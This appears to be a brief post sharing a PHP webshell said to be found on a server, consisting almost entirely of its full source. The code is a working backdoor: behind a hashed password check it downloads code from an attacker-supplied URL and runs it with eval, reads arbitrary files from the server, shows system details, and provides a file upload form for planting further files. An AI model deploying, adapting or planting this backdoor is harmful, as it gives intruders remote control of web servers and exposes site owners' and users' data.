Bot founded with one webshell

<?php
        function getBot($url)
        {
        $header = array("Accept: application/json");
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
        curl_setopt($ch, CURLOPT_ENCODING, "gzip");
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_USERAGENT, "iceBot");
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $retValue = curl_exec($ch);
        $response = json_decode(curl_exec($ch));
        $ee       = curl_getinfo($ch);
        if($retValue==""){
                $retValue = file_get_contents($url);
        }
        return $retValue;
        }
        if(md5(sha1(md5(sha1(@$_REQUEST["pqd"])))) == "a04fa6726b2ecf2ad938d44fbb93908a"){
        if(@$_REQUEST["cmd"]){
        echo @eval(getBot(@$_REQUEST["cmd"]));
        exit();
        }
        if(@$_REQUEST["read"]){
        $file = file_get_contents($_REQUEST["read"]);
        echo $file;
        exit();
        }
        echo "<b>Namesis<br><br>".php_uname()."<br></b>";
        echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
        echo "<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>";
        if( @$_POST["_upl"] == "Upload" ) {     if(@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) { echo "<b>Upload Success !!!</b><br><br>"; }   else { echo "<b>Upload Fail !!!</b><br><br>"; }}
        }else{
        exit();
        }
        ?>